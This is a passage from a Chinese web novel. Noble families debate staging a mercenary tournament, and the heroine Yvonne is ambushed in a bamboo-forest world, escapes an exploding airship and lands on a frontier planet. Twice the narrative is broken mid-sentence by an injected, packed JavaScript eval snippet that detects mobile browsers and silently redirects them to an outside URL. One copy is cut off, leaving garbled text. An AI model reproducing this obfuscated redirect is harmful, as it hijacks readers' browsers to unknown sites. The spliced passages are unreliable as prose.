主持会议的研究员在讲台上按部就班地念着文件上的文字,圆桌旁的家主们开着小差,消磨时间。就算研究塔没给出想要的结果,她们也必须一年年地投资,研究塔的项目进度再怎么原地打转,它也是全星盟的顶尖科技力量,哪个家族都无法把这份力量拱手让人。所以即便无聊,也要给个面子,来研究塔听完报告。 除了以诺·阿吉斯,各家家主大多只在塔顶会议这天,才来研究塔露个脸。 罗贝尔看见以诺坐姿端正地拿着报告文件,嗤笑着对身边人低声说:“阿吉斯的还有必要来吗,在塔里的时间几乎和研究员一样长了,还需要了解什么?干脆让阿吉斯做报告好了。” 坐在他身边的安东也不屑地轻笑,说:“这位在继任前就是研究塔的员工,如今也是塔内最有话语权的。我家里的年轻人都抢着来这做事,或许将来就是争夺家主位置的底牌呢。” 安东的声音不轻,讲台上的研究员汇报的声音出现了可疑的拖长音,眼神飘忽着忽然咳了两声清嗓,装作只是嗓子不舒服才停下,而后捧起文件继续念。 可惜她的汇报本就到了结尾,重新开口只念了两句话就只能停下,尴尬地抬头看向投资人们。 “阿吉斯,刚才的话你别往心里去,那是称赞。”罗贝尔挑衅地冲以诺笑,“成为家主还坚持从事从前的工作,以致阿吉斯家的人管理不当屡出纰漏闯祸,真是令人叹服的敬业精神。” 以诺看着报告,没多给他一个眼神:“不要在会议上说无关的话题。如果无法提出有建设性的意见,就继续安静做你的研究经费充值机。” 安东替罗贝尔回击,说:“阿吉斯家的,别太嚣张了,研究塔的成果不是只有你一家的功劳。” 以诺放下看完的报告,拿起另一份继续看:“前几代的功劳。这一代里,除了我,还有哪家做出了算得上功劳的成绩?” “各位,各位,”主持会议的研究员赶紧开口转移话题,“所内整理复原过去的研究资料时,发现了一些有趣的东西——应该还有人记得‘定制故事’项目,当初这个项目只为如在座诸位这样的高端人士服务。鉴于现阶段的实验尚未取得突破性进展,为了不使投资方的资金迟迟不见回报,或许我们可以将此项目的成果公开——只需要一点小技巧,或许就能带来丰厚的回报?” “那东西确实风靡过。”安东瞥了眼坐在一边的盟会书记,“后来不是被某些人闻到味,没顺利分一杯羹就添堵叫停了吗?” 作为盟会代表前来的书记员微笑着,不表明态度。 研究员慌忙道歉,补充说:“是我表述不清,请各位不要误会。这个项目中确实存在一些不完全合规的地方,当初盟会也是因此希望我们不要继续。但那只是个别人操作失误导致的研究事故,相关人员早在事发的第一时间被辞退,我们停止这个项目,是从科研角度考虑判断没有继续的必要。请各位不用担心,这个项目当年也是得到盟会支持的,绝对没有损害谁的人身权利。” 当年的盟会完全是各家族的傀儡,哪有反对的资格——在座所有人心知肚明,但没有人戳破。她们坐在这是为了利益,谁都不会在没有好处的时候诚实。 布朗家主开口把话题引回,问:“你说的公开项目成果,要怎么做?” 研究员说:“我觉得,可以将那些影像资料包装成影视剧。我知道对于在座的各位,那些都不新鲜了,但对于外面的大众,那么生动的画面,还是足够刺激感官的。多精妙的演技,也抵不过人真实生活的样子。” 罗贝尔家的摸着下巴思索片刻,说:“观众会为真实感动,前提是要知道那是真的,当成虚构的故事卖,不一定比得过市场上的片子。现在的娱乐花样太多了,虽然不少是建立在研究塔提供的科技基础上。我建议你别太乐观,会为这些旧录像掏钱的人恐怕不多。” 研究员的表情有些尴尬,会议总要提出点什么新举措,她也不想弄炒冷饭的操作,可研究停滞不前,能说得出什么花? 罗贝尔又说:“我倒是有个想法,从佣兵下手,怎么样?” 研究员匆匆低头把面前的文件全部翻一遍:哪里提到佣兵了? “近年来,因为对边远星域的开发和各星域之间成熟的交通网络建立,星际远航、星际贸易与星匪肆虐共生,为民间提供安全支援的佣兵势力日渐壮大,越来越多的年轻人将拥有一枚佣兵徽章视为成年礼。”罗贝尔敲击会议桌桌面唤出操控面板,将一份视频投放到所有人面前。 正是两个月前“鬼兵”在元星空港大显身手的一幕。 仅有十几秒的视频结束后,罗贝尔接着说:“民间热衷对各佣兵团队进行强弱排名,只是这样的讨论始终分散,难成规模。毕竟普通人能接触的佣兵有限——如果我们提供一个平台,把佣兵团的各项能力数据化,让民众可以直观比较呢?就像这个视频出现在社交网络上以后,民间对于佣兵的讨论热度再上一层,鬼兵成了民选的佣兵之首。对于雇佣兵,名气与钱挂钩,别的佣兵团或许也想要一个公开的表现机会,提升名气招揽生意。” 以诺放下文件,看向侃侃而谈的罗贝尔。 注意到以诺的视线,罗贝尔更昂首挺胸说得顺畅:“我们可以办一场佣兵对抗赛,用某个定价昂贵的设备做奖品吸引她们参赛。报名费、观赛门票都是收入来源,如果分出一部分做冠军奖金还能让这群卖命的更加积极。只要把赛制设计得够有冲突,既能吸引观众,也能激化佣兵间的冲突。固定每几年来一次,就有了稳定的大笔收入进账。同时,让我们掌握这些民间势力都有哪些底牌,对于研究塔,也有了一批数量可观、身体素质出众的设备性能测试员,一举多得。” 罗贝尔说完,得意地环视一周,然后看着以诺,想看看这个刚嘲讽了她们毫无贡献的臭老鼠能怎么无耻地反驳他。 然而以诺只是点了点头,说:“听起来可行。” 所有人都讶异地看向以诺,以诺神色如常,仿佛他不是和罗贝尔针锋相对的阿吉斯。 他看着录像继续开口:“这个鬼兵使用的黑雾,看起来很有研究价值。研究塔好像曾经研发过类似的东西?” 研究员点头,说:“这个佣兵使用的,看起来像是塔里曾研究过的人体结构快速分解传送重构粒子,本质上是一种特殊的空间跳跃技术,不稳定性太高,很不安全,所以被废弃没有继续研究。我们已经有了成熟的空间跳跃技术,不需要这种冒险的方法。” 以诺说:“录像里的人看起来用得得心应手。如果全佣兵团都可以使用这种技术,就说明它具备量产潜质。” 研究员的表情看起来是坚持自己的看法,但她还是点头:“有机会可以获得研究样本的话,可以深入研究。” 以诺继续说:“还有,要办一场聚集佣兵的比赛,场地选在哪里?” 没人会异想天开把这么多民间武装团体聚集到元星来,太过偏远的地方又不利于她们控制场面收集信息。这时罗贝尔再度开口,把不知不觉间被以诺牵走的话题重新引回自己身上。 罗贝尔说:“罗贝尔在阿纳托利星系有一颗可以借出作为比赛场地的行星,作为研究塔投资方的罗贝尔的领地,研究塔要运入设备人手再方便不过。” 以诺说:“阿吉斯在阿纳托利也有一颗闲置的行星,没有完全开发,正好可以建造赛场。” 罗贝尔拍桌:“阿吉斯的!你什么意思!故意针对我?!” 以诺说:“我在提供选择。” “话题怎么就到了挑选场地了?”布朗开口插入,“佣兵比赛这件事,我反对。谁来组织负责?哪家这么闲这样有余力?” “我也反对。罗贝尔,染指星盟军队都满足不了你,还想掌管佣兵?胃口太大了吧,我可不想出资喂饱你。”这是赫连家的。 “这话有些难听了,”安东继续帮腔罗贝尔,“大家都是想为研究出一份力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621582|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研究塔多久没给出新东西了?而那些佣兵也越发嚣张——两个月前,星际监狱的那起越狱事件里跑出来了什么东西,在座的各位也别装傻。” 室内一时沉默,只有游家家主略显茫然地看着众人,又立刻担心露怯地摆出 “原来如此”的表情。 “原来如此,”赫连依然懒散地靠在椅背上,语气有几分严肃,“混在佣兵团里确实是个好点子,鱼龙混杂,行踪不定,再怪异也好掩藏。你真是为这个想出的‘佣兵大赛’点子?” 她最后一个问句看着罗贝尔说出,罗贝尔不满地投回一个傲慢轻视的笑。 “就算不为这些,我也支持办场佣兵大赛。”柘家家主关掉面前的鬼兵录像投影,“如今她们在民间的威望已经逼近甚至超过我等大族,没有点危机感可不行啊。” “那便办吧。汉诺威家的领地,也可借出作为场地。” “……我还是觉得这太儿戏了。温莎,米勒,你们怎么想?” 被布朗点到的两位家主对视一眼,仍不急着开口。 温莎没有停下操控终端的动作,温和地对布朗笑,说:“我当然与布朗妹妹意见一致。担心佣兵团有威胁?杞人忧天。要顾虑防备的对象,应该是东盟那些叛徒吧?当初塔内的成果被她们卷走了不少,我只在乎如何夺回那些。” “是啊,那才是个大麻烦。”米勒家主摩挲着手中的仿古怀表外形终端,“离开的三个大家族,每一个都手握重兵,让我们损失了大半顶尖研究员和重要成果。‘内网’原本也应是完全属于我们的。” 米勒低声重复了一遍:“那是属于我们的。” 目光又汇集在以诺·阿吉斯身上。研究塔本是米勒家的产业,后因研究涉及太多而被各家族设法介入,即使后来塔内各方势力混杂,米勒家仍握着研发主脉。直到五十年前的内乱,米勒家高层折损严重,无力守住塔内的位置,被阿吉斯趁机上位。 以诺迎上这些目光,说:“关于是否举办佣兵大赛一事,投票表决吗?” “阿吉斯。” 棕发的布朗追上停下的以诺,温和地笑着又有些困惑地打量他:“我很意外,你居然会同意罗贝尔的提议。” 以诺说:“没必要为了恶心谁故意唱反调。” “我想说的是,你怎么会同意罗贝尔对佣兵下手?”布朗迎着以诺表达疑问的眼神继续说,“如果贸易线路也被罗贝尔插手,对我们只怕是麻烦更多。” “我们”。 这样的字眼对于她们太过亲密,研究塔里的各家族势力相互牵制彼此警惕,选择亲近示好的对象需要十成十的慎重。 与布朗家最为要好的是现已不在十大家族之列的卡洛琳家族,卡洛琳家主营珠宝生意,生意范围比研究塔更深入民间,多年来与佣兵常有贸易,布朗会在意罗贝尔染指佣兵情有可原。 而阿吉斯,虽然也做点生意,会雇佣兵护镖,但这不足以让布朗把阿吉斯划为利益共同体。 更重要的是,以诺清楚卡洛琳的某任家主对阿吉斯怀着怎样的仇恨。布朗会对此毫不知情吗? 只怕是来者不善。 以诺态度冷淡:“所以,有什么不好呢?把佣兵彻底放到所有人眼下,护镖更有安全保障。” 布朗看着以诺兴致缺缺随时要转身离开的样子,试探着说:“追龙和鬼兵曾经接触过你的女儿,和这有关系吗?” 以诺反问:“你觉得我是为了发泄私人恩怨?” 布朗没反驳,以诺对木家下手时不是没有借助研究塔的资源,谁会以为他公私分明。但她来找人说话不是为了挑刺,只把这话揭过,拿出一张玫红色的花型请柬递给以诺:“不聊工作了。下周我的生日晚宴,阿吉斯家的大小姐可得赏光出席。” 以诺没有接请柬,说:“她近来身体不适,无法出席。” 布朗没有收回手:“去年我生日时你也说她身体不适,我的诞辰似乎总不是个好日子。” “你想多了,只是巧合。毕竟她前不久才受到被劫持的惊吓,对出行心有抗拒。”以诺拿走请柬,“若到时她身体好转,一定到场。若是没休养好,只能礼代人到,还请见谅。” 布朗微笑,说:“我会很期待的。” 以诺收好请柬,向布朗致意离开。 布朗看着他的背影,收起笑容。 比起愿意低调的阿吉斯,还是先对付不友善的罗贝尔吧。 11. 钥匙 伊冯在炸开的红色热浪中闭上眼,炽热却没有灼伤她,身体感受到的只有舒缓的微凉清风。 她再睁开眼,满眼的绿。 她又一次进入另一个时空,这里是由某种植物组成的绿海。 伊冯曾在古生物研究图鉴上见过构成眼前绿海的长杆般的植物,是原产于人类母星后土的一种草本植物,名为“竹”,喜欢温暖湿润的环境,虽然比不得一些娇贵植物挑剔,但也不是随便哪里都能长的,如今全星盟都没有大面积种植这种植物的地方。 她又到了另一个陌生的时空,正站在茂密竹林中用石板铺出的小径上。 为什么这一次空间跳跃器又能让她穿越了? 这两次启动跳跃器有什么不同吗,触发她穿越的条件究竟是什么? 伊冯在终端上记下能想到的每一个细节,等回去了她得抓紧找些设备实验,现在这种充满不确定性的穿越隐患太大,她必须尽快掌握规律以自行控制。 “嗯?” 背后突然发麻,仿佛落了虫子的不适感让伊冯抬头观察四周,竹海中似乎有视线在窥探。 这里植株密集,伸展不开,伊冯把铁链缠在手臂上绕短点免得拖累,调出定影的风刃模式,无形的风刃融入竹林间流淌的空气中。 她在训练室模拟过在各种环境战斗,也曾见过类似的密集竹林,这种植物中空有节容易弯折,如果要藏匿其中不摇晃竹身,非常考验攀爬技巧。 伊冯向上扫视一周,将视线下压、放远。那些竹叶不足以掩盖人的身体,如果周围真的埋伏着人,更大概率是藏在地面。 “嗖!——” 伊冯抬手击向不和谐的风声,沉闷的碰撞声中,一个样式怪异的箭头被划开两半打落在她脚边。 弩箭? 认出这是什么武器后,伊冯打开了贴身的防护盾,朝射出箭头的源头奔去。 落脚的地面突然塌陷,伊冯猛地甩出链条套住附近一根尖笋吊住、还未将自己拉出,上方就急雨般坠下数十支利箭! 好在冷兵器几乎无法对伊冯的护盾造成损耗,伊冯心下感叹倒霉,才逃过一劫又闯进别人的埋伏圈里。她们肯定花了不少心思设计这些攻击方案,可惜都招呼在了她这个误闯的人身上。 伊冯担心以这伙人的谨慎,会把笋砍了让她彻底落进竖着锐器的坑底,抓了几只箭插在坑壁上当落脚点。 也不知原本要被埋伏的人给袭击者留下怎样的心理阴影,落下的箭都快填平坑底了才停下。伊冯虽然知道这堆冷兵器伤不到自己,看着那些密集的箭头还是冒冷汗。 上面一时没有动静,估摸也是想等底下的人彻底断气了再露头。 右手突然被向上拽了一下,上面的人想拉着链子把她拉出坑确认生死。真谨慎。 伊冯转动定影,往铁链上送了一道电。 “啊!” 听到叫声,伊冯蹬着坑壁一跃出坑,还在半空又有两支箭射来,她礼貌性地挥手挡开,落地径直冲向那个被电击倒地的青衣人。 有些意外的,伊冯还没近前那个人就抖着四肢爬了起来,抓着两个尖刺般的利器对着她摆出攻击的架势。 她特意调整成不致命但麻痹时效长的电流,能这么快恢复行动能力,要么是经过特殊训练,适应一定程度的疼痛,要么就是意志力强大。 不论是哪种都令人赞叹,她可受不了这种程度的疼痛。 伊冯近身轻松躲开对方刺来的兵器,试图谈判:“你们认错人了,我只是个无辜的路人,不想介入你们的纠纷。很抱歉破坏了你们的埋伏,你这个状态接下来也做不了什么了,不如改天再来?” 对方全身被青色布料裹得只透出一双眼睛,凶狠地看着伊冯沉默地攻击。 伊冯扭住她的双手:“冷静点,和平点,好吗?” 青衣人在发抖,伊冯不确定是不是因为电击留下的麻痹,也可能是攻击无效而生气或是害怕?伊冯想或许她应该说点什么更友好的话题,比如聊聊这片壮观的竹海? 青衣人的手腕突然拧成一个不可思议的角度将武器向上刺来,伊冯赶紧松开对方退避,然而她的攻击目标不是伊冯。 鲜血在伊冯眼前喷涌,她感受到脸上有温热的液体溅落,把尖刺捅入自己脖子的青衣人在她面前倒下,仿佛一株鲜嫩的新竹突兀地被折断。 为什么? 回答她的是一支箭。 伊冯任由这支箭打在防护盾上坠落,她环视周围,依然不见人迹,只有执着的攻击。 “够了……” 伊冯冲向最近的向她射箭的方向,把来不及转移的弓箭手从盖满枯叶的浅坑里拽出来,同样一身青色的弓箭手掏出匕首挥向伊冯。 伊冯握住匕首刀刃、把她的手拧到背后定住:“我不管你们要做什么,停下!我说了我不是你们的目标,为一个错误的目标丢命不觉得太蠢了吗?!” 对面又射来一支箭。 “!” 伊冯打落这支瞄准她的俘虏心脏的箭,反手把人护到身后:“你们做什么?!” 而被伊冯挟持的人似乎没有意识到她的同伴要牺牲她,趁机挣出一只手从腰间再掏出一把小刀刺向伊冯,完全没去在意那些射向伊冯的同时也会贯穿她的箭矢。 伊冯虽受多年训练,却缺少与真人动真格地实战的机会,更没遇上这样不要命的对手。 伊冯一边替人质挡箭,一边提防着对方的自杀式攻击,这场面荒诞得让她想念那只狗一样的黑豹,起码那是个会讲人话能沟通的。 箭矢的攻击突然停了,执着于攻击她的青衣人再度被她缴械后也停下动作。伊冯以为她们终于决定放弃,突然间眼前的人脸上的布料渗出浓色,鲜血从布料边缘溢出浸染青衣,面色迅速灰败下去,转瞬就没有了气息。 她分明没有受伤,为什么?! 伊冯想要拉住她,却被死亡的重量拽下跌倒,徒劳地拉开这个人脸上包裹的布料,检查她的瞳孔和呼吸。伊冯拥有的医学知识让她清楚这个人死得有多彻底,布料后的脸远比她以为的稚嫩,或许比她还要年少。 伊冯茫然地看向别处,突然看见一个身着黑色宽袍长裳、披散着乌发的女子。 那是个影子般的人,发极黑,与衣料相融难分,肤色玉白,仿佛落在竹叶上的一点雪;她的发丝与衣摆被风扬起,似乎随时会被吹散在竹林叶浪声中。 伊冯一时看得呆了,只觉得自己的心跳和呼吸声都太大,会把这将随风而去烟雾聚成的人打散。 女子抬手,伊冯的视线追过去,见她摘下沾红的竹叶,覆在她面前的死者尸身上。 异常的颜色惊醒了伊冯,她将视线从女子身上移开,竟发现周围的竹叶上间隔着都染着一片红。 从叶片上滴落的红,是血。 伊冯警惕地开口:“……你是什么人?这些人,原本想埋伏的人是你?” 女子的声音就像竹林的风,轻柔而带着冷意:“你与此处恩怨无关,快离开吧。” 她仔细将被染红的竹叶全部摘下,用它们埋葬散落四处的尸体。 处理完竹叶,女子回身看着还坐在原地看着尸体的伊冯,说:“此人非我所杀,她嘴中藏有毒药,自知无望完成任务,服药自尽。” 伊冯说不出话,在心里不断提醒自己这不是她的世界,这些人的生死没有她的责任。 女子望着伊冯片刻,问:“这是你第一次见死人,还是第一次见活人在你面前死去?” 伊冯没回答,女子猜出答案,她说:“你只能习惯。我虽不知你从何处来,但看得出,你没杀过人也没想过杀人。独自行走江湖,若无足够的强大,就没有留下敌人性命的从容。” 伊冯说:“她们同时停止了攻击,你几乎是同时杀死了这些人。我觉得你有那样的从容。” 女子说:“可她们没有。” 伊冯听不明白她的话,也不想明白,低着头不说话。 女子白皙的手伸在伊冯面前,伊冯拉住她的手站起来。 她问伊冯:“你可认得来时的路?” 伊冯只能摇头。 女子没有放开伊冯的手,她将伊冯的右手稍稍抬高,看着连着链子的手环问:“可是故人来寻?” 女子说话的方式像是时代剧里的人物,口音也和星盟通用语有些差别,伊冯理解起来要在脑子里多绕几个弯,只能半猜着理解她的话。 伊冯说:“你是说,你见过这种手环?” 女子点头,仔细地看着伊冯的脸,从宽大的袖子中取出一块黑色的帕子在她脸上擦拭。 女子的动作轻柔,伊冯如果不是亲眼看到那些尸体,怎么想得到这样温柔的手可以在瞬间收割人命。 她心里有疙瘩,避开女子的手。 女子也不恼,收起帕子继续看她的手环,说:“这炼制的样式,像是出自故人之手。只是,为何要带上这累赘的铁链?” 伊冯说不出这是她父亲用来锁她的,只能含糊地说意外套上。 伊冯问:“你见过类似的东西,那你知道怎么解开吗?” 女子点头,伊冯只觉得眼前突然一花,铁链叮当落地,手环已从她的手腕到了女子掌心上。 “?” 伊冯满脑袋的问号:“怎么做到的?” 女子似乎笑了一下,短暂如错觉,伊冯又看着女子的脸恍了神。 女子转身走向那条石板小径,说:“远道而来,不如到寒舍饮杯残茶,让在下一尽地主之谊。” 伊冯跟在女子身后往竹林深处走。 女子问她的姓名,却没听到回答,身后女孩的气息也在一瞬消失不见。 女子望着空荡的身后,将两个手环收进袖中:“看来,你我的缘分还未到。” 黑衣女子的身影隐入重重竹海之中,只有风推波起浪,摇晃竹叶的沙沙声绵绵不绝。 伊冯用力眨几下被变幻的画面刺得酸胀的眼睛,满眼的绿又被红取代,她回到了刚炸开燃起火云的飞艇中。 在她离开的时间里停滞的时空没有立刻回到原有的流速,爆炸在伊冯眼中发生得仿佛被按下0.5倍数的播放键,她迅速抽离出在另一个世界产生的情绪,跑向逃生舱。 她转身看到身后站着一个白色的少年,白发红瞳,一身白色轻甲。 这个人是什么时候潜入驾驶室的?对方怨毒的视线仍钉在她之前站立的位置,伊冯没有多看,加快速度离开。 时间在她奔跑途中找到原有的速度,火焰追赶着她的后背,却因为她的抢跑,只能在伊冯钻进逃生舱后才卷着火浪吞没所有。 火浪之外还有那艘虎视眈眈的飞船。那个白色的少年多半和攻击她的飞船是一起的,少年看到了她,释放出的仇恨是针对她本人的吗——以她几近空白的人际关系,根本没机会被人那样敌视。就因为她在阿吉斯飞艇上吗? 伊冯不敢指望只靠逃生舱带她逃脱,瞄准混战圈中最近的一艘飞船冲过去。对方躲闪不及让伊冯贴上,这样近的距离足够她接入对方飞船的系统。 阿吉斯家用的机器都是最尖端的,即使只是一个逃生舱,内部也有完整的独立系统。伊冯熟练地控制住对方的飞船系统,打开舱门让逃生舱进入。 接入飞船内的监控系统后,伊冯对飞船内的人数和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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逃生舱以最快的速度飞向最近的人类驻星。 伊冯缩在狭小的逃生舱里警惕周围的情况,大脑却因为接连的紧张情况要求放松休息,不由地放空胡思乱想。 黑衣女子解开了手环,她口中的“故人”不是胡说,这个手环的制作者和另一个世界的黑衣女子有关系,那以诺呢,他在其中又担当着怎样的角色? 那艘袭击她的飞船究竟是什么来历,那个白发的少年能从爆炸里全身而退吗?她突然遭遇的这番恶意,如果是因为阿吉斯倒还好,如果是针对她本人的——会与她的体质有关系吗? 以诺很可能知道她的特殊体质——她的这份特殊从何而来?如果是来自以诺,而以诺也能像她这样穿行到其他世界,事情是不是就说得通了?阿吉斯家的人都有这样的“特殊”吗?消失的洛佑逃避的“责任”,也与这份“特殊”有关吗? 可恨以诺什么都不会告诉她。 伊冯看着监控里她将要降落的星球:她不会走回头路,她会找出所有答案。 在伊冯离战圈足够远后,被她入侵的飞船终于脱离控制恢复正常,还留在飞船上的少数船员冲出船舱,在走廊上拥挤着互相咒骂着。 某个房间里,一个黑色短卷发的少年坐在杂物堆上,无视外面吵闹的声音,对着手里刻纹繁复的金色柱状仪器说话:“坐标0,与三号第二次接触。三号驾驶带有阿吉斯标志的飞艇,闯入三支佣兵队伍混战现场,脱离混战后又遭遇‘怪物’的追击,恕或许对三号的身份产生误会,将其视为清除对象进行追杀。三号遭受攻击后,时空出现短暂停滞,恕在之后没有继续行动,应当是发现了三号对时空造成的影响,从而明白了她的身份。我现受雇于名为‘极武’的佣兵组织,三号进行逃脱时曾控制利用我所乘坐的飞行器,应该是通过程序控制,她已经很擅长这些了。我没有引起她的注意,是否进行正面接触?……不,按原定计划离开栖止。” 水滴形的飞船顺畅地穿行在一片宇宙风暴中,色彩绚丽的风暴如汹涌大海将飞船包裹淹没,却无法对它前行的速度造成阻碍。 船内只有一位船员,一身皆白的她蜷缩在洁白的操控室角落,将脸埋在臂弯内,白色的长发垂下与瓷白的地面融为一体。 有声音从她手腕上发出:“小姐,为什么你没有杀了她?” 少年的声音沉闷地传出:“在我准备杀她的时候,世界好像变得奇怪了。潘多拉,你什么也没发现吗?” 很快,她的手腕上再次传出声音:“有异常的时空波动,获取到未知世界信号。” 少年抬起头,血红的瞳色透出不和谐的淡金色,血液从眼眶流下,雪白的脸颊留下红痕,让白发、衣物染色。 她说:“她是姐姐留下的钥匙。姐姐的钥匙,为什么会在阿吉斯?” 不等回答,少年眼中又被浓重的血色占满,咬牙切齿地说:“一定又是阿吉斯偷走的,毫无悔改之心的臭虫!这些肮脏的虫豸,全都该死!” 少年手腕处发出的声音说:“时机未到,小姐。我们会清洗所有罪孽,所以更不该打草惊蛇。” 少年解开手部的外甲,露出手腕上蓝色的手环。她轻轻抚摸着手环上澄澈的蓝色,说:“对不起,我不会再冲动了。有了钥匙,就能见到姐姐了,我得把所有事都处理好再去见姐姐。我们要做得完美,把胜果送给姐姐做再见的礼物。” 手环的蓝色更加明亮,有轻快的笑声传出。 过了会儿,手环里的声音说:“你把血沾到我身上了。” 少年大笑着道歉,站起去别的房间为手环清洁。 12. 栖止 伊冯在元星启动空间跳跃器时,将目的地设在东西两盟交界的边缘星域,一是为了在超远距离空间跳跃中验证她的体质,二则是为了给以诺的行动制造阻碍。 从前星盟是统一的星际联盟国,自从五十年前的内战后开始分裂,最终成型为如今的东西两盟。约十年前,东盟以内网技术为条件,用独立政权身份与西盟再结盟,重新成为星盟盟会成员。 虽然各界推论两盟是因为多方意见不合导致最终的分裂,在对宇宙的探索研究方面,分裂后的两盟还默契地继续分裂前的扩展路线,不断开发新的区域,以寻找新物质为第一优先。如今的星际航行能进行跨星系活动,是在发现新能源“蓝金”的基础上才得以实现,否则光是启动一次空间跳跃器需要耗费的能量,就足以抽空星盟的能源储备。 “蓝金”这一供能极强、可应用范围极大的能源的出现,让星盟确立了寻找星外能源、不在人类居住行星开采能源的行动方向。为了让人类的足迹踏遍宇宙,星盟所拥有的蓝金数量还远远不够,人们期待着宇宙深处还有更多未被发现的强大能源可以供应使用。 宇宙航行已经是件寻常事,可认真算起来,蓝金这种能源进入人们的生活还未过百年。科学家们对于这种能源的成因久无定论,想要依靠某种规律去开采出新的蓝金矿场,往往无果而归。至今,对于新能源的寻觅,似乎依然只能靠运气,靠着不断向外延伸的星盟边缘,将每一颗领域内的星体研究开发通透。 于是,开发中的新星域每一块都是宝贵的值得重视的。 东西两盟对于开发出的新星域你争我抢,两边的领导层在几次险些引发战争的争论后,最终商定以最简单直白的“谁先发现归谁”的方式确认归属。虽然这其中还有许多能做手脚的空间,总归是有个说法。 在边缘星域这种主权不明互相牵制的地方,阿吉斯一个西盟的贵族,任何行动都会牵扯颇多处处受制。 伊冯降落的这颗星球名为“栖止”,意为短暂停留。每一个扩展边缘时的驻星都会被冠以这个名字,当这片区域开拓完毕,继续往宇宙深处延伸,这颗驻星会被改造成更适合居住的样貌,得到一个专属于它的新名字。 没有被正式开发改造的栖止上,只围绕小块人造水域建立城邦,城墙之外一片荒芜。 城墙脚下间隔着支着几个只够一人容身的帐子,里面的人全身裹在厚实的斗篷中,满身的沙尘。 城外的风暴永不停歇,今天栖止的风暴中又混入了几粒外来的砂石。 帐子里的眼睛追随着那些明亮的石头,裹紧斗篷钻出帐子,混入漫天黄沙中。 管辖权不明确,意味着没人必须为这里负责,自然就会滋长混乱。 伊冯看着检测仪上靠近的生命迹象点,调整着定影的攻击模式,外面的风力太强,远程攻击很难起效,只能近战。 以诺告诫她外界危险时说过,边缘星域聚集着亡命徒、通缉犯,这些人在法制完善的地区都敢胡作非为,在这种灰色地带只会更加肆无忌惮。 定影的攻击威力设定一级级升高,又被犹豫着往下调了两级。风暴导致能见度极低,陌生环境和以一敌多,再加上她完全不知道对手的深浅与装备情况,她真的有余裕留手吗?如果不留手,而对方又没有她预想的强,她能否将伤害控制在不致命的程度? 在训练室里,她无数次地击杀过数据模拟出的对手,但那些只是投影或机器,没有血肉,没有脉搏,不是与她一样活着的生命。 伊冯的眼前闪过那片竹海,那两个在她眼前死去的青衣人。 她还没做好背负人命的准备。即使那是些轻贱人命的恶人。 定影传来轻微的震动反馈,表示已调整为防御模式。伊冯激活护罩,打开舱门把自己暴露在风暴之中。 逃生舱折叠收纳成便携的手提箱,伊冯矮身躲过背后的攻击,甩手将手提箱砸在对方下巴将人逼退,一把匕首突然擦过她的颈侧——她抓住这个藏在进攻者怀里偷袭的手,被圈住的手腕太过细小,下意识地把对方掼在地上才看清这竟然并不是人而是猴子! 来不及惊讶,胳膊上突然的痛感让猴子趁机挣脱钻入沙地之下,伊冯条件反射地把箱子架在身前,护住上半身远离原来的位置。攻击紧跟不舍,好在攻击技巧粗糙,虽然吓人,要防守住不成问题。 为什么护罩没拦住这些攻击? 再一次把袭击者的刀弹开,伊冯放任对方重新藏进风沙中,一旦她与某人缠斗,就会向别的袭击者暴露出更多破绽,她只能以守为攻。继续僵持下去她必然会落败,每一轮攻击后她都被动地向远离城区的方向移动,对方熟悉地形互相配合默契,并不急于在短时间内击倒她,或许她们粗糙的攻击手段也是诱饵,让她放松警惕一步步踏入等候多时的陷阱。 必须改变局势。 伊冯深吸一口气,抠下箱子上代表阿吉斯的标志,将箱子丢到一边。把袖子从之前被划破的位置扯下蒙在脸上遮挡口鼻,关闭防护罩。狂风将砂石一重重地打在脸上,即使有心理准备,还是难以睁开眼睛,脸上细密的痛感也让她难以忍受,差点立刻重启防护罩。 忍痛移动了几步,谨慎地站住等了一会儿,果然,她之前站立的位置出现了几只试探攻击的手,一击不中后那些人影又迅速消失在黄沙中。 伊冯把另一只袖子也拆了,撕成两条分别盖在眼睛上下方,留一条缝保证视线。再怎么习惯在风沙中行动,人也不会真的变成风和沙子,袭击者靠近时必然会显露身形,她会抓住她们。 她从没考虑过别的防护装备,在家做各种设备或试剂时她也为了省事直接开护罩。但在这片风沙里,过多的细小接触让防护罩把能量均衡分配在每个角落,而为了保证正常呼吸所需的氧气,防护罩本就不是密不透风的结构,全方位地筛除风里的氧气与细沙,很快就让护罩的运行机制难以应对,专注于阻挡具备规律的风沙,忽视了突入的刀刃。 那些人总能在可见度几乎为零的风沙里向她发起攻击,多半也是因为防护罩,先不说能量波动之类的因素(伊冯觉得她们没有那种精度的探测仪器)防护罩挡住风沙的同时,大概也让她成了个显眼的人形沙俑。 模拟战斗与实战还是不同。训练室里模拟出的场景中,除非护罩核损坏,防护罩从来没出过问题。防护罩的功能还有很大提升空间,而这次实战也证明了以诺的培育方法很有问题——伊冯愉快地在心里做笔记。 虽然交手时间短暂,但个人习惯就印刻在瞬间的第一反应,再加上体型、衣物,各方面情报整合,伊冯已经了解这个袭击她的五人小队的水平,除了那只沙猴偶有奇袭,别的根本构不成威胁。 从她关掉防护罩以后那些人的行动来看,她们并不比她更融入这片风沙,而能在地下活动的沙猴也没有顺着她的脚步袭击她,看来只不过是机械地听从饲养者的指令。 